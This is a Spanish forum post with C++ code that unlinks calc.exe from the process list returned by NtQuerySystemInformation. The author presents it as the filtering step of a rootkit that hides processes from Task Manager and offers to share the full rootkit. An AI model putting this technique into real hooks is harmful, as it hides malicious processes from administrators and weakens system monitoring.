Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)
Si abrimos la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).
En fin, aquí esta el código.
Código
// Filtro procesos a la API NtQuerySystemInformation // Juan fary. // MVSC++ 2008 #include <windows.h> #include <stdio.h> #include <stdlib.h> typedef struct _SYSTEM_PROCESS_INFORMATION { DWORD NextEntryOffset; char fary1[56]; DWORD ImageName; DWORD fary2; LONG BasePriority; PVOID UniqueProcessId; } SYSTEM_PROCESS_INFORMATION; typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*); int main() { _SYSTEM_PROCESS_INFORMATION * spi; DWORD ret; char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará _SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation"); void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); spi = (_SYSTEM_PROCESS_INFORMATION *)buffer; ret = __SystemProcessInformation(5, spi, 1024*1024, NULL); //_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono. while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos. { _SYSTEM_PROCESS_INFORMATION * Viejospi = spi; spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0) { Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset; }else{ spi = Viejospi; spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); } } /*spi = Intacta; while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P { MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0); spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); }*/ return 0; }
Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.
saludos.